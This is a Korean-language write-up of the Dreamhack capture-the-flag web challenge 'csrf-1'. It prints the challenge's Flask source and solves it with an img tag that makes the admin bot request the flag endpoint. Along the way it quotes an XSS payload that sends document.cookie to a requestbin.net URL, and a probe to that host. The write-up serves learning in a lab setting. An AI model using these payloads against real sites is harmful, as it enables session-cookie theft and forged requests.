[Dreamhack Web - Lv 1] csrf-1

문제 정보

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.

CSRF 취약점을 이용해 플래그를 획득하세요.

풀이 힌트

1. 공격 백터 파악

2. 코드 분석 또는 웹 스파이터를 통해 숨겨진 파라미터 파악

문제 풀이

더보기
더보기

문제 서비스는 총 4가지의 기능을 제공하고 있다.
1. vuln(csrf) page : /vuln

vuln 페이지의 링크를 클릭하자 Get 메소드로 param 파라미터에 <script>alert(1)</script>를 넣어서 서버에 요청을 보냈다.
하지만 서버는 <script>alert(1)</script><*>alert(1)로 치환하여 페이지에 출력하였다.

 

혹시 On 이벤트로 XSS를 일으킬 수 있는지 확인하기 위해 img 태그에 onerror 속성으로 시도하였지만 XSS은 실패하였다.
해당 페이지는 param 파라미터에 대한 검증이 있는 것으로 보인다.

 

2. memo page : /memo

memo 페이지는 Get 메소드로 memo 파라미터에 hello을 넣어서 서버에 요청을 보내고 있었다.
서버는 memo 파라미터에 넣은 값을 회색 박스 안에 출력시켰다.

 

해당 회색 박스 안에 출력된 값은 pre 태그로 출력되기 때문에 XSS이 힘들어보였다.

 

3. notice flag page : /admin/notice_flag

Access Denied가 나와서 세션 쿠키로 사용자를 판별하는 건가라는 생각을 하였다.
쿠키를 확인해보니 해당 페이지엔 쿠키는 없었다.

 

4. flag page : /flag

input에 값을 넣으면 웹서버에서 직접 input에 넣은 값을 vuln 페이지의 param 파라미터에 넣어서 요청을 하는 것으로 보인다.

 

<script>alert(1)</script>를 input에 입력하여 제출을 하면, good이라는 문구를 가진 alert창이 떠진다.
현재 보이지는 것으로는 루프백 주소로 웹서버에게 vuln 페이지의 인자값을 넘겨주는 것으로 보인다.


현 공략해야하는 페이지로 보이는 것은 notice flag page라고 생각이 든다.
그 이유는 csrf은 js를 이용하여 사용자가 원치 않은 행동을 함을 뜻하는 것인데, 여기서는 관리자의 flag 값이 유출되는 것이 이에 해당되기 때문이다.

 

나는 일단 flag 페이지에 xss를 삽입하면, 실행되는 지를 확인하기 위해 requestbin.net을 이용하기로 하였다.
xss-1 문제에서 사용한 페이로드인 <script>location.href="http://requestbin.net/r/6ohadl3h?flag=" +  document.cookie</script>를 input에 넣어서 제출하였다.

 

만약 xss가 실행이 되면 requestbin.net에서 로그가 찍혀야한다.

 

로그를 확인한 결과 찍히지 않는 것을 확인할 수 있었다.
이것은 xss이 실행이 안된 것으로 판단할 수 있다.

 

나는 혹시 js가 실행이 안되게 설정이 되었나 생각하여, img 태그를 이용하여 requestbin.net을 요청해봤다.

 

<img src=https://requestbin.net/r/6ohadl3h>를 input에 넣고 제출을 하니, 밑과 같이 requestbin.net에 로그가 찍히는 것을 확인할 수 있었다.

 

이는 src 속성을 이용하여 서버에게 요청을 보내는 태그들을 이용하여 공격자가 원하는 페이지를 요청할 수 있다는 뜻이다.
예시로, REST API로 서버로 구현했을 때 회원탈퇴 url을 src 속성에 넘어줘서 회원탈퇴를 시킬 수 있다는 것이다.

<img src=/admin/notice_flag>

나는 이를 이용하여, notice flag page를 요청해봤다.
하지만 아무 반응이 없었고, 혹시 memo 페이지에 flag가 찍혔는지 확인을 해봤지만 hello만 있었다.

 

더는 문제 풀이가 힘들어서 코드 분석을 하였다.

 

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        print(str(e))
        # return str(e)
        return False
    driver.quit()
    return True


def check_csrf(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "").lower()
    xss_filter = ["frame", "script", "on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param", "")
        if not check_csrf(param):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", None)
    if text:
        memo_text += text
    return render_template("memo.html", memo=memo_text)


@app.route("/admin/notice_flag")
def admin_notice_flag():
    global memo_text
    if request.remote_addr != "127.0.0.1":
        return "Access Denied"
    if request.args.get("userid", "") != "admin":
        return "Access Denied 2"
    memo_text += f"[Notice] flag is {FLAG}\n"
    return "Ok"


app.run(host="0.0.0.0", port=8000)

 코드를 분석한 결과 vuln(), flag(), check_csrf(), read_url(), admin_notice_flag()이 이번 문제의 핵심이다.

1. vuln()

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "").lower()
    xss_filter = ["frame", "script", "on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param

vuln 페이지 코드인데, xss_filter가 있는 것을 확인할 수 있었다.
xss_filter는 frame, script, on을 필터링하고 있었는데, 이 때문에 내가 시도한 xss가 실패한 것이였다.

 

2. flag()

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param", "")
        if not check_csrf(param):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

flag 페이지의 코드인데, input으로 전달한 값을 check_csrf 함수에 전달하고 있다.
그리고 check_csrf 함수에서 False를 리턴하면 wrong??이라는 문구를 가진 alert 창을 띄우고, True를 리턴하면 good이라는 문구를 가진 alert 창을 띄운다.

 

3. check_csrf()

def check_csrf(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

해당 함수는 넘겨 받은 파라미터를 url 인코딩하여, cookie 값과 함께 read_url 함수로 넘겨준다.

 

4. read_url()

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        print(str(e))
        # return str(e)
        return False
    driver.quit()
    return True

read_url 함수는 Selenium을 이용하여 크롬을 파이썬으로 조종하여 쿠키를 브라우저에 넣고, 루프백 주소로 이동하는 코드를 볼 수 있다. 이 후 파라미터로 넣은 곳으로 이동한다.

5. admin_notice_flag()

@app.route("/admin/notice_flag")
def admin_notice_flag():
    global memo_text
    if request.remote_addr != "127.0.0.1":
        return "Access Denied"
    if request.args.get("userid", "") != "admin":
        return "Access Denied 2"
    memo_text += f"[Notice] flag is {FLAG}\n"
    return "Ok"

 admin_notice_flag 함수를 살펴보니, userid 파라미터가 admin이면 memo_text 변수에 flag를 넣는다.
memo_text는 memo 페이지에서 회색 박스에 들어가는 값이 된다.

 

위 내용을 토대로, flag 페이지에 img 태그의 src 속성에 admin_notice_flag 페이지를 요청하면 read_url 함수를 통해 Selenium이 admin_notice_flag 페이지로 이동하는 시나리오를 생각할 수 있다.

 

<img src=/admin/notice_flag?userid=admin>

시나리오 대로 flag 페이지에 img 태그의 src 속성에 admin_notice_flag 페이지를 요청하였다.
이때 주의할 점은 admin_notice_flag 페이지의 경우 userid 파라미터가 admin으로 설정되어 있어야 flag 값을 memo_text에 넣는다는 것이다.

 

Memo 페이지에서 확인해보니, flag를 확인 할 수 있다.